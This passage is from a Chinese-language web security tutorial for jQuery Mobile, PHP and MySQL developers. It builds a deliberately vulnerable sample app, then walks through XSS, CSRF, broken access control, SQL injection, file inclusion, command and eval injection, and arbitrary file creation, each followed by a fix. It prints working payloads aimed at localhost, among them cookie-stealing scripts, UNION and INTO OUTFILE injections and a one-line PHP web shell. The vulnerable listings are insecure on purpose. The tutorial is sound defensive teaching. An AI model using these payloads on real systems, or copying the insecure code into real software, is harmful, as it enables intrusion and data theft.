使用 jQuery Mobile 提高 web 应用程序安全性

了解如何保护您的移动应用程序

许多 web 开发人员认为安全性无足轻重。安全性经常沦为软件开发生命周期的最后一位,有些甚至事后才想起。有时候,软件安全性被完全忽视,导致应用程序中充满常见漏洞。目前条件下这类 bug 只有在遭到攻击时才能表现出来,所以如果没有开发流程方面的知识,很难在事件发生之前检查到。使用 jQuery Mobile、PHP 和 MySQL 构建 web 应用程序,本教程显示常用开发方法会伴有多少种类型的漏洞,最重要的是,提供了它们各自的对策。

John Leitch, 应用程序安全顾问, 独立顾问和自由撰稿人

John Leitch 是密歇根州大瀑布城的一位独立应用程序安全顾问。主要从事 web 应用程序的工作,他专门从事模糊测试、动态分析和代码审查。他总是在寻找安全性方面的错误,并经常发布漏洞公告。



2011 年 6 月 13 日

在开始之前

本教程适用于对保护其应用程序感兴趣的 jQuery Mobile 开发人员。它假设读者已具有有关使用 PHP、MySQL、JavaScript、XHTML 和 CSS 开发 web 应用程序的基础知识。此外,本教程绝不是全面的;其目的是作为 web 应用程序安全性的介绍。要进一步阅读本教程所涵盖的有关问题以及其他相关主题,请查看 参考资料

关于本教程

常用缩略词

  • API:应用程序接口
  • CSRF 或 XSRF:跨站点请求伪造
  • CSS:层叠样式表
  • HTML:超文本标记语言
  • HTTP:超文本传输协议
  • OS:操作系统
  • SQL:结构化查询语言
  • URL:统一资源定位器
  • W3C:万维网联盟
  • XHTML:可扩展超文本标记语言
  • XML:可扩展标记语言
  • XSS:跨站点脚本

随着智能手机和类似设备的崛起,web 应用程序安全性已经扩展到包括移动应用程序。由于受到许多此类设备接口的限制,开发人员有时会使用有缺陷的假设,即客户端输入验证足以防止攻击。然而,通过移动应用程序发送的请求可以用与传统的 web 应用程序相同的方式操作。因为此漏洞,所以不能信任客户端。有时敏感数据存储在他们使用的设备和服务器上,因此用户防止黑客攻击是至关重要的。本教程显示了一些漏洞是如何发生的,以及一些适当的对策来防范试图利用这些漏洞的攻击者。本文包括以下类型的漏洞:

  • 跨站点脚本
  • 跨站点请求伪造
  • 失效的访问控制
  • SQL 注入
  • 文件包含
  • 操作系统命令注入
  • 脚本语言注入
  • 任意文件创建

使用通过 jQuery Mobile、PHP 和 MySQL 构建的示例应用程序展示所有漏洞和对策。(要获得带有示例代码的 .zip 文件,见 下载。)

先决条件

您需要以下工具来完成此教程:

  • Web 服务器— 您可以使用任何具支持 PHP 的 web 服务器。虽然本教程采用的许多开发工具都是 Windows 特有的,但是它们也适用于其他操作系统。建议的 web 服务器是 Apache 或 IBM HTTPServer。
  • PHP— 因为所描述的一些攻击对最新的版本无效,所以使用 PHP 5.3.1。本教程注意到了这种不兼容性。
  • MySQL— 本教程使用 MySQL,它是一种开源数据库。版本 5.1.41 用于本教程,但其他版本应该也能正常运行。
  • Web 调试代理— 因为必须要有一个操纵 HTTP 请求的方法,所以 web 调试代理是非常有帮助的。在本教程中,虽然使用了 Fiddler v2.3.2.4,但是也允许适用于修改请求的其他 web 调试器代理。
  • jQuery Mobile— 本教程中构建的示例应用程序的前端使用 jQuery Mobile 1.0 Alpha 3。

有用的链接,见 参考资料


构建不安全的应用程序

开始本教程之前,创建一个名为 Contrived Mobile Application (CMA) 的不安全示例应用程序,作为以下部分所介绍的不同类型攻击的试验场。要完成这个测试,CMA 要有两个核心功能部件:

  • 一个用于定制的用户配置文件系统
  • 一个执行基本计算的计算器

应用程序的每个元素都引入了攻击者用于其自己目的的安全漏洞。每个漏洞都被覆盖,对 CAM 进行适当的修补,来试图阻止未来的黑客攻击。

模式

作为以用户为中心的应用程序,CMA 具有由一张表组成的简单模式(见 清单 1)。

清单 1. CMA 安装脚本的摘录
CREATE TABLE UserAccount
(
Id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,
Username VARCHAR(256) NOT NULL,
Password VARCHAR(32) NOT NULL,
    FirstName VARCHAR(256) NOT NULL,
    LastName VARCHAR(256) NOT NULL
);

INSERT INTO UserAccount (Username, Password, FirstName, LastName) 
VALUES ('Jane', md5('Password1'), 'Jane', 'Smith');

INSERT INTO UserAccount (Username, Password, FirstName, LastName) 
VALUES ('John', md5('Password1'), 'John', 'Doe');

这里创建了两个用户,Jane 和 John。要保持简单,请将权限级别排除在外。

语言选择

每次执行语言选择逻辑时都会加载一个页面(见 清单 2)。

清单 2. 传递到 require_once 的输入的不当处理
if (isset($_COOKIE['language'])){    require_once($_COOKIE['language'] . ".php");    }

首先,条件语句查看是否存在语言 cookie。如果存在,就将 PHP 扩展附加到 cookie 值,且将字符串传递到 require_once 函数以便加载相应的脚本。

身份验证和授权

接下来,您要添加一些基本保障。随身份验证和授权逻辑创建一个登录表单(见 图 1),并成功记录在会话值中,请将 CurrentUser 设置为验证用户的用户名。通过检查该会话值实现授权逻辑。

图 1. CMA 登录表单
具有 Username 和 Password 字段以及 Login 按钮的 CMA 登录表单的屏幕截图

清单 3 显示了不安全身份验证逻辑的创建。

清单 3. 不安全的身份验证逻辑
<?php

function Authenticate($Username, $Password)
{
    $query = "SELECT COUNT(*) FROM useraccount " . 
        "WHERE Username = '" . $Username . "' AND " . 
        "Password = md5('" . $Password . "');";

    $result = mysql_query($query);

    $_SESSION["CurrentUser"] = $Username;

    return mysql_result($result, 0); 
}

?>

清单 4 显示了不安全授权逻辑的创建。

清单 4. 不安全的授权逻辑
<?php

if (!isset($_SESSION["CurrentUser"]) || $_SESSION["CurrentUser"] == NULL)
{
    header("Location: login.php");
}

?>

用户搜索

不具有在系统中搜索其他用户的功能,就不能完成以用户为中心的应用程序。用户搜索功能接受关键词并返回匹配的无序列表(图 2)。清单 5 显示了搜索逻辑。

清单 5. 在用户搜索实施中用户提交数据的不安全处理
Query: <?php echo $query; ?>

<ul data-role="listview" data-theme="c" style="margin-top:12px;">
    <?php

    $query = "SELECT FirstName, LastName " .
        "FROM UserAccount " .
        "WHERE FirstName LIKE '%$query%' OR " .
        "LastName LIKE '%$query%';";

    $result = mysql_query($query) or die(mysql_error());;

    while ($row = mysql_fetch_assoc($result)) {                    
        echo "<li>" . $row["FirstName"] . " " . $row["LastName"] . "</li>";
    }

    ?>
</ul>

清单 5 会执行多种功能。首先,其在页面顶端输出用户提交的查询以便提醒用户他们要搜索什么。随后,从用户提供的关键词动态生成 SELECT 语句的条件。将 SQL 语句传递到 mysql_query,脚本循环遍历该结果,然后以 HTML 清单的形式返回相关数据。

图 2. 用户搜索的结果
用户搜索结果的屏幕截图:查询 John 会产生 John Doe 的结果

计算器

由于用户可能需要动态解决基本的算术问题,所以 CMA 提供了计算器功能。计算器由三个输入组成:x、y 和操作。清单 6 显示了解决算术问题以及显示结果的代码。

清单 6. 计算器实施中用户提交数据的不安全处理
<?php

$operation = $_GET["operation"] == "operation-add" ?
    "+" : "-";

$arithmetic = "$_GET[x] $operation $_GET[y]";

echo $arithmetic . " = ";

$code = "echo $arithmetic;";

eval($code);

?>

这一段代码首先检查了 GET 数据以确定用户选择了什么操作。下一步,其构建了作为字符串的算术问题。在将动态生成的字符串解释成 PHP 之前,输出完整的问题以便用户查看。

图 3 显示了正在运行的计算器。

图 3. 正在计算的 CMA 计算器
CMA 计算器的屏幕截图:X=6,Y=20。选择 X+Y 或 X-Y 操作并计算。

现在,您已经看到了计算器,接下来将介绍应用程序的核心:用户首选项。

用户首选项

CMA 的个人定制是其最大的功能模块。它允许用户更改个人信息并上传个人资料图片(见 清单 7)。

清单 7. 用户首选项实施中用户提交数据的不安全处理
<?php

$message = "User preferences have been saved.";

$validated = TRUE;

$update = "UPDATE UserAccount " .
    "SET " .
    "FirstName = '$_REQUEST[firstname]', " .
    "LastName = '$_REQUEST[lastname]' ";
    
$password1 = $_REQUEST["newpassword1"];
$password2 = $_REQUEST["newpassword2"];

if ($password1 != NULL && $password1 != '')
{
    if ($password1 != $password2)
        $validated = FALSE;

    $update .= ", Password = md5('$password1') ";
}

$update .= "WHERE Id = $_REQUEST[userid]";

if ($validated)
    mysql_query($update) or die(mysql_error());

if (isset($_FILES["picture"]))
{
    $image = $_FILES["picture"]["tmp_name"];

    // For this example ping will be used as a mock image
    // compression tool.
    $compress_command = "ping $image $_REQUEST[imagecompression]";

    exec($compress_command);

    move_uploaded_file($image,
        "images/" . $_FILES["picture"]["name"]);
}

echo $message;

?>

清单 7 中的代码首先为 UserAccount 表构建并执行 UPDATE 语句。如果用户上传图像,那么将使用模拟图像压缩工具处理该图像,然后再将其移入图像目录。

图 4 显示了具有 First Name、Last Name、New Password、Repeat New Password、Profile Picture 字段的用户首选项界面。

图 4. 显示 John Doe 帐户的用户首选项界面
显示 John Doe 帐户的用户首选项界面的屏幕截图

我们已经了解了相关 CMA 功能, 现在是仔细地查看其实施的时候了。下一小节将介绍目前存在的漏洞、一些人将如何利用这些漏洞、以及您要如何防止这种利用漏洞的行为。


跨站点脚本(Cross-site scripting,XSS)

当黑客注入客户端脚本来攻击其他用户时,网站很容易受到 XSS 攻击。有两种类型的 XSS:反映型和持久型。通常的误解认为 XSS 无非是一个骚扰而已。虽然在一些反映型 XSS 实例中威胁是次要的,但是在许多情况下它会使用户帐户受到损害或者更糟。

反映型 XSS

当请求数据在响应中呈现为未编码和未筛选时,就会发生反映型 XSS。有了社会工程的帮助,攻击者可以诱骗用户访问创建这样一个请求的页面,即允许攻击者在目标用户上下文中执行 JavaScript。这种变化可以做什么取决于漏洞的性质,但是 XSS 一般被利用来劫持会话、窃取凭据或者执行未经授权的操作。

持久型

持久型威胁通常比反映型威胁更大,在服务器为用户提交的请求数据服务时就认为 XSS 漏洞是持久型的。因为恶意数据在应用程序中是持久的,所以可根据不同的漏洞加以利用,这使得攻击的社会工程方面变得更简单了,甚至完全消除了。

开发

使用 XSS 漏洞加载 CMA;用户搜索就有反映和持久两种类型。反映型的开发显示如下:
http://localhost/CMA/insecure/search.php?query=%3Cscript%3Ealert (document.cookie)%3C/script%3E

当转到该链接时,反映型 XSS 攻击的影响是立即可见的,除非客户端对策已到位:
Query: <script>alert(document.cookie)</script>

可将反 XSS 功能内置到浏览器,如 Microsoft® Internet Explorer® 8,或作为插件安装,如 noXSS for Firefox。对于您的目的,不应该考虑客户端过滤器,因为您不能依靠用户来安装它们,在许多情况下它们只防止反映型的。在一些实例中,客户端滤过实际上是反效果,其引入了普遍 XSS(UXSS)。在 Microsoft 修补该漏洞之前,一个例子是在 Internet Explorer 8 中。

要查看正在活动的持久型 XSS,请将此处显示的脚本标记插入 User Preferences 表单的 First Name 或 Last Name 字段,然后搜索该用户:
<script>alert(document.cookie)</script>

在搜索结果中显示用户时执行 JavaScript。

防止跨站点脚本

停止 XSS 攻击通常是一个对服务器响应中用户输入应用正确编码的问题。对于用户搜索反映型 XSS 示例来说,应用 HTML 实体编码应该足以防止恶意行动。通过使用 htmlentities 函数:Query: <?php echo htmlentities($query); ?>,您可以采取该步骤以及 PHP API。

对更新代码的测试现在会产生不同的结果:
Query: <script>alert(document.cookie)</script>

小于和大于字符现在是 HTML 实体编码,其可以防止攻击者注入标记。通过 htmlentities 函数以相同的方式修复持久型漏洞(见 清单 8)。

清单 8. 防止持久型 XSS 的 CMA 修改
while ($row = mysql_fetch_assoc($result)) 
{					
echo "<li>" . htmlentities($row["FirstName"]) . " " . 
htmlentities($row["LastName"]) . "</li>";					
}

在将用户提交的数据注入 HTML 属性值时,请确保除去用来封装该值的字符串分割符,或者在此值之内编码。否则,就会发生属性注入:
<a href='http://www.mywebsite.com/'>My Website</a>

清单 9 显示了属性注入如何发生。

清单 9. 属性注入,可能是由缺乏单引号编码引起的
<a href='http://www.mywebsite.com/'onmouseover='alert(document.cookie)
'>My Website</a>

作为安全性的添加层,启用 Set-Cookie 响应头部的 HttpOnly 标志可防止客户端脚本访问受保护的 cookie。然而您不能依靠这种功能,因为一些浏览器并不能完全支持它。

下一小节介绍了另一个常见漏洞,该漏洞用于启动针对系统的其他用户的客户端攻击。


跨站点请求伪造(CSRF 或 XSRF)

在攻击者诱骗用户在他们的安全上下文内执行操作时会发生 CSRF。如果安全措施不到位,黑客就可以进行这种攻击而无论表单方法是 GET 还是 POST。在以上这两种表单之间,使用 GET 方法的 CSRF 攻击是最大的威胁,因为仅使用 URL 就可以伪造请求,即攻击者可使用图像源。如果攻击具有在系统内随意设置图像源的能力,黑客就可以利用这种能力来启动现场请求伪造(on-site request forgery,OSRF)攻击。

开发

重新创建 CMA 中的几乎每一个动作作为 CSRF 攻击。清单 10 是基于 GET 的攻击示例,该攻击将用户的密码更改为 new_password。

清单 10. 密码更改 CSRF 示例
<html>
    <body>
        <img
src="http://localhost/CMA/insecure/preferences.php?firstname=John&lastname
=Doe&newpassword1=new_password&newpassword2=new_password&userid
=2&imagecompression=5" />
    </body>
</html>

如果 GET 方法无效,攻击者会试图通过使用 POST 来伪造请求(见 清单 11)。

清单 11. 使用 POST 方法的密码更改 CSRF 示例
<html>
   <body onload="document.forms[0].submit()">
       <form method="POST" action="http://localhost/CMA/insecure/preferences.php">
           <input type="hidden" name="firstname" value="John" />
           <input type="hidden" name="lastname" value="Doe" />
           <input type="hidden" name="newpassword1" value="new_password" />
           <input type="hidden" name="newpassword2" value="new_password" />
           <input type="hidden" name="userid" value="2" />
           <input type="hidden" name="imagecompression" value="5" />
       </form>
   </body>
</html>

查看 清单 11 中呈现的 HTML,其结果是创建一个与合法更新用户首选项的合法用户的请求相请求,此请求与同,但是攻击者控制了所有的表单值。

防止跨站点请求伪造

您可以用两种常见方式来防止 CSRF。最简单的方式就是检查 HTTP 请求中的引用(见 清单 12);如果请求来自不可靠的来源,就应拒绝该请求。引用检查越精细,安全性就越好。

确定 12. 基本引用检查实施
if (strpos($_SERVER["HTTP_REFERER"], $app_host . $app_path) != 0 &&
strpos($_SERVER["HTTP_REFERER"], $app_path) != 0)
die("Invalid request");

这种方法并非万无一失。更安全的对策就是采用安全令牌。伴随着每种受保护的表单,该服务器包括了一个长的、充分随机的令牌值。每个令牌值都会跟踪服务器端,以便确保只使用该值一次,并在预定的时间后过期。在表单提交时,如果该值不存在、无效或者过期,那么就会驳回请求,其理由就是这很有可能是伪造的。在没有能力去猜测令牌值的情况下,攻击者无法发动攻击。如果在应用程序中的每个页面上都采用这种安全机制,那么它也可以用来防止反映型 XSS。

在随后的部分,您将看到几种类型的服务器端漏洞。


失效的访问控制

访问控制问题常常被忽视,因为在大多数情况下使用自动化工具无法轻易地测试访问控制。在未验证的或未授权的用户可以访问那些应该拒绝访问的资源时,应用程序就已经破坏了访问控制。在开发人员试图通过隐藏来自未经授权用户的 URL 来保护只有授权用户才能使用的资源时,会频繁发生此问题。假设这只是有缺陷的资源保护;攻击者通过其他途径(如接口)仍然可以发现该 URL。此外,失去权限的用户可能仍然能够使用他们所保存的 URL 来访问未授权的资源。

开发

CMA 有两种访问控制相关的漏洞:即绕过身份验证和权限升级。身份验证错误源于终止执行查找未经验证用户的失败。尝试在浏览器上执行一个禁用操作(见 清单 13),结果是看起来似乎是预期操作。将浏览器重定向到登陆页面。

清单 13. 授权资源的未经验证的请求
POST http://localhost/CMA/insecure/preferences.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 107
Cache-Control: max-age=0
Origin: null
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 
  (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
  ,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

firstname=John&lastname=Doe&newpassword1=new_password&newpassword2
=new_password&userid=2&imagecompression=5

清单 14 所示,使用 web 调试代理(如 Fiddler)检查流量表明,相当多事正在发生。

清单 14. 来自响应的片段显示了解释程序没有正确终止执行
HTTP/1.1 302 Found
Date: Sat, 19 Mar 2011 23:14:44 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l 
 mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: login.php
Content-Length: 1138
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
...

当服务器回应了一个 302 状态代码时,响应的主体会包含身份验证用户接收到的一切。此外,密码更改成功,且已经入侵到目标帐户。

除了绕过身份验证漏洞以外,CMA 还包含另一个访问控制问题:权限升级。每次用户更新他或她的配置文件时,会随表单一起提交用户帐户的 Id(存储在表单的隐藏字段中,如下所示):
<input type="hidden" name="userid" id="userid" value="2" />

当表单发送回服务器时,执行验证来确认已提交的 Id 就是当前实际用户所提交的那个 ID,然后该值才能用于从数据库加载记录。在提交表单或使用 web 调试代理改变请求以便指定任意的 Id 之前,恶意用户可以使用基于浏览器的 web 开发工具来更改隐藏字段的值,且允许恶意用户更改用户帐户而不是他们自己的帐户。

防止失效的访问控制

要防止绕过身份验证,请确保如果身份验证或授权检查失败,就不会发生执行受保护应用程序逻辑的情况。使用 PHP 时,要记住使用头函数设置响应的 Location 字段不会终止执行,这点很重要。清单 15 显示了正确退出的授权代码。

Listing 15. Improved authorization code
<?php

if (!isset($_SESSION["CurrentUser"]) || $_SESSION["CurrentUser"] == NULL)
{
    header("Location: login.php");

    exit;
}

?>

如果用户被确定为未授权,那么就在设置 Location 头以后调用 exit 函数。此步骤可避免执脚本的其余部分。

要消除权限升级,请确保为每一个授权操作执行适当的授权。如果数据可存储在服务器端,就要避免将其存储在客户端。清单 15 中的用户 ID 就是可以存储在会话中的数据的一个很好示例。修复部分如下所示:
$update .= "WHERE Id = $_SESSION[userid]";

下一节是 SQL 注入,一个众所周知的具有广泛潜在后果的漏洞。


SQL 注入

尽管人们的安全意识日益增强,但是 SQL 注入仍然是一个问题。成功的SQL注入所产生的后果是不同的,这取决于漏洞。SQL 注入可以引入如下一些威胁:

  • 数据泄漏
  • 修改现有数据
  • 插入新数据
  • 任意的文件系统访问
  • 任意的网络访问
  • 系统泄漏

开发

CMA 中的每一个查询都很容易受到 SQL 注入的攻击,因此您需要使用一些输入矢量。通过注入条件并通过用户名字段注释掉其余查询,可以绕过身份验证。清单 16 显示了具有这种意图的查询。

清单 16. 在提交 John 和 Password1 作为用户凭据时的 select 语句
SELECT COUNT(*) FROM UserAccount 
WHERE Username = 'John' AND  Password = md5('Password1');

清单 17 显示了在恶意字符串用于将代码注入第一个条件时语句的样子。

清单 17. 在提交 'or 1=1;# 和空密码作为凭据时的 select 语句
SELECT COUNT(*) FROM UserAccount 
WHERE Username = ''or 1=1;#' AND  Password = md5('');

因为 1 总是等于 1 且密码检查条件可通过数字符号字符 (#) 注销掉,所以 清单 17 中的查询会在 UserAccount 表中返回所有记录数字。如果该数字不为零,那么就将 Authenticate 函数的返回值评估为 true,同时授予攻击者访问的权利。

用户搜索功能在某种程度上是脆弱的,可以利用这种脆弱来提取任意数据。清单 18 显示了具有这种意图的搜索查询。

清单 18. 正常情况下的用户搜索查询
SELECT FirstName, LastName FROM UserAccount 
WHERE FirstName LIKE '%John%' OR LastName LIKE '%John%';

通过利用 UNION 运算符。攻击者可附加一个全新的查询以便检索他们所选择的数据:
'and 1=0 UNION SELECT Username, Password FROM UserAccount;#

清单 19 显示了攻击字符串提交以后动态生成的查询。

清单 19. SQL 注入以后的用户搜索查询
SELECT FirstName, LastName FROM UserAccount 
WHERE FirstName LIKE '%'and 1=0 UNION SELECT Username, 
Password FROM UserAccount;#%' OR LastName LIKE '%'and 1=0 
UNION SELECT Username, Password FROM UserAccount;#'";

该攻击在数据库中为每个用户产生用户名和密码摘要(见 图 5)。

图 5. 使用 UNION 运算符成功注入的结果
使用 UNION 运算符成功注入的结果的屏幕截图:两个用户帐户的名称和密码

防止 SQL 注入

要防止 SQL 注入,您必须正确地转义并验证所有用户提交的输入。大多数 web 开发 API 使用函数来实现这一目标。使用 PHP 和 MySQL,可与字符串值的 mysql_real_escape_string 一起使用参数化查询以便避免更多攻击(见清单 20)。

清单 20. 利用由 PHP API 提供的预防措施更新的身份验证代码
$query = sprintf("SELECT COUNT(*) FROM useraccount " . 
    "WHERE Username = '%s' AND " . 
    "Password = md5('%s');",
    mysql_real_escape_string($Username),
    mysql_real_escape_string($Password));

清单 21 所示,由于在攻击字符串开始时没有了分隔符,所以绕过身份验证不再有效。

清单 21. 随新修补程序到位的注入企图
SELECT COUNT(*) FROM useraccount 
WHERE Username = '\'or 1=1;#' AND Password = md5('');

在格式字符串中使用正确的类型说明是很重要的。转换为预期类型会提供附加的保护层(见 清单 22)。

清单 22. 使用不可信的整数安全创建查询
$query = sprintf("SELECT * FROM useraccount WHERE Id = %d", (int)$_GET['id']);

下一节是文件包含,这是一种在 PHP web 应用程序中常见的错误类型。


文件包含

这里有两种类型的文件包含:即远程和本地。顾名思义,这种类型的漏洞允许攻击者随意包括文件。无论结果是文件内容的泄露还是作为代码执行,都取决于漏洞的性质。使用 PHP,如果在 php.ini 文件中禁用 allow_url_fopen,那么远程文件包含一般是不可能的。

开发

CMA 中的语言 cookie 容易受到本地文件包含的攻击,且如果将服务器配置为允许打开 URL,还将受到远程文件包含的攻击。通过与遵循 null 字节的 webroot 以外的文件夹和文件一起传递一系列遍历序列来终止字符串,就可以包括任意文件。清单 23 显示了包括 win.ini 文件的恶意请求。

清单 23.企图检索服务器 win.ini 文件的恶意请求
GET http://localhost/cma/insecure/index.php HTTP/1.1
Host: localhost
Connection: keep-alive
Referer: http://localhost/cma/insecure/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML,
  like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
  image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: language=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2fwin.ini%00

清单 24 显示了服务器的响应。

清单 24. 显示成功攻击的服务器响应
HTTP/1.1 200 OK
Date: Sun, 20 Mar 2011 20:59:41 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l 
mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Set-Cookie: PHPSESSID=39q2aarl86t01j697vrb6ekjf2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 6142
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
m2v=MPEGVideo
mod=MPEGVideo
[Trimmed]

请注意,从 PHP 5.3.4 起,null 字节中毒(null byte poisoning)路径不再有效。尽管在一些实例中这不是必需的,因此不要认为这会单独作为文件包含漏洞的修补程序。

除了泄漏任意文件以外,文件包含有时可以用来诱骗服务器进入作为代码解释的任意文件类型(如 jpgs)。

防止文件包含

如果可能的话,请避免将用户输入传递给任何读取或包括文件的函数。如果无法避免这种方法,请尝试采取白名单方法来验证数据,如 清单 25 中所完成的。如果有效值额数量对于白名单来说太大,就会检查任意遍历序列或 null 字节并拒绝(不要试图整理)该请求。请确保服务器附加了用户提交文件名的扩展名。

清单 25. 可阻止文件包含攻击的已更新语言选择代码
$languages = array(    "en-us",    "en-ca");if (isset($_COOKIE['language']))
{    if (in_array($_COOKIE['language'], $languages)     
require_once($_COOKIE['language'] . ".php");
else
die("Invalid language.");}

因为更新代码只允许在语言阵列内包含 cookie 值,所以用户不能再利用语言选择功能来包括任意文件。

虽然本地文件包含是一个严重的威胁,但是在下一节中所描述的攻击后果可能更严重。


操作系统命令注入

正如您所预计的,操作系统命令注入是一个非常严重的威胁。如果将用户输入传递给执行操作系统命令的函数,那么就要尽力确正确转义该数据。

开发

用户首选项功能的模拟图像压缩很容易受到操作系统命令注入的攻击。在请求主体中使用图像压缩数据,就可通过传递遵循恶意命令的分割符 (|) 注入命令(见 清单 26)。

清单 26. 恶意请求的主体
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="firstname"

John
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="lastname"

Doe
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="newpassword1"


------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="newpassword2"


------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="picture"; filename="x.txt"
Content-Type: text/plain


------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="userid"

2
------WebKitFormBoundaryFnGBYVe08wA8NMrs
Content-Disposition: form-data; name="imagecompression"

5|calc
------WebKitFormBoundaryFnGBYVe08wA8NMrs-

传递到系统函数的值显示如下:
ping "C:\tools\xampp\tmp\php7533.tmp" 5|calc

防止操作系统命令注入

请避免将用户数据传递到执行操作系统命令的函数。您通常可以使用更安全的 API 函数来实现类似的结果。如果不能采用更安全的方法且必须用不可信的数据创建命令行参数时,请确保正确地转义该数据。PHP API 为转义名为 eshellcmd 的危险字符提供函数。清单 27 显示了正确的用户首选项代码。

清单 27. 使用 escapeshellcmd 来整理用户输入
$compress_command = "ping $image " .
    escapeshellcmd($_REQUEST["imagecompression"]);

在将 escapeshellcmd 传递给系统之前,通过将用户输入传递给 escapeshellcmd,就可以整理恶意字符(如分割符)。

下一个要介绍的漏洞经常会产生与操作系统命令注入类似的结果。


脚本语言注入

在将用户输入解释为代码时就会出现脚本语言注入。在许多情况下,这会导致服务器的泄漏,因为攻击者能够在解释程序过程的安全上下文内执行代码。

开发

因为将用户提交的数据传递到 eval 函数,所以 CMA 的计算器功能很容易受到脚本语言注入的攻击。虽然 X 和 Y 输入可用于执行任意代码,但是因为它们是数字类型,所以必须绕过客户端限制。可通过使用 web 调试代理实现这种绕过:

/CMA/insecure/calculator.php?x=1&y=1;system(%22calc%22)&operation=operation-add

或者通过手动创建查询字符串实现这种绕过:

/CMA/insecure/calculator.php?x=1;system(%22calc%22);//&y=1&operation=operation-add

评估代码上脚本注入攻击的效果是:
echo 1 + 1;system("calc"); and here: echo 1;system("calc");// + 1;

防止脚本语言注入

请避免将用户输入评估为代码。相关功能通常可通过使用更安全的 API 功能来创建(这就是 清单 28 中采用的方法)。如果不能避免这种情况,就请采用严格的验证(如果可能的话就用白名单)并拒绝任何被视为不安全的输入。不要试图去整理用户输入。

清单 28. 重新编写计算器逻辑
<?php

$x = $_GET["x"];
$y = $_GET["y"];

$operation = $_GET["operation"] == "operation-add" ?
    "+" : "-";
    
// Patched reflected XSS vulnerability
$arithmetic = htmlentities("$x $operation $y");

echo $arithmetic . " = ";

if ($operation == "+")
    echo $x + $y;
else
    echo $x - $y;

?>

因为在更新的代码中要避免使用 eval,所以这可以防止脚本语言注入。

下一节会解释如何利用任意文件创建产生类似的效果。


任意文件创建

在许多实例中,任意文件创建的结果类似于脚本语言注入;攻击者可以使用正确扩展名创建一个文件,然后访问它以便执行任意代码。攻击者可通过集中方式实现,所以当您使用任何可用来创建文件的功能时,需要谨慎。在一些情况下,此功能可与其他漏洞(如目录遍历)结合在一起,并允许攻击者实施更多的伤害。

开发

一种用来创建任意文件的方式就是使用用户首选项的个人资料图片功能来上传 PHP 文件而不是图像。简单脚本可提供远程 shell:
<?php system($_GET["CMD"]); ?>.
在将其上传以后,攻击者可访问该脚本以便轻松运行操作系统命令:
http://localhost/CMA/insecure/images/shell.php?CMD=calc

根据是否存在适当的 SQL 注入漏洞和服务器的配置,它也许可以利用 SQL 来创建新的脚本。根据 SQL 服务器权限,它也许可以利用目录遍历来覆盖关键的系统文件,并有效地损害服务器:
SELECT '<?php system($_GET["CMD"]); ?>' FROM dual INTO OUTFILE '../../htdocs/shell.php'

该查询的第一列看上去很熟悉;它实际上是包含 任意文件创建 中恶意文件的字符串(见 清单 29)。

清单 29. 使用 UNION 运算符将 shell 创建查询注入 CMA
http://localhost/CMA/insecure/search.php?query='and%201=0%20UNION%20SELECT
%20'%3C?php%20system($_GET[%22CMD%22]);%20?%3E',''%20FROM%20dual%20INTO%20OUTFILE
%20'../../htdocs/shell.php';%23

通过反复试验,或者利用一个显示文档根绝对路径的信息泄漏漏洞(不包括在本教程中),您可以发现这种类型攻击的目标路径。

防止任意文件创建

如果可能的话,请在用户可创建的任何文件的扩展名上执行白名单验证。此方法是用于修复 CMA 的方法,如 清单 30清单 31 所示。无法实施类似的修复程序时,它使用黑名单验证来确保没有恶意扩展名。对于 Apache 和 PHP 来说,此方法意味着拒绝一些扩展名,如 PHP、PHTML 和 HTACCESS。如果输入被视为恶意,那么就拒绝它;不要试图整理任何可疑数据。

清单 30. 用于检查 null 字节中毒的帮助程序函数
function IsNullPoisoned($string)
{
    return strpos($string, "\x00") != NULL;    
}

function IsValidImageExtension($file)
{
    $validExtensions = array(
        "jpg",
        "png",
        "gif"
    );
    
    if (IsNullPoisoned($file))            
        return FALSE;

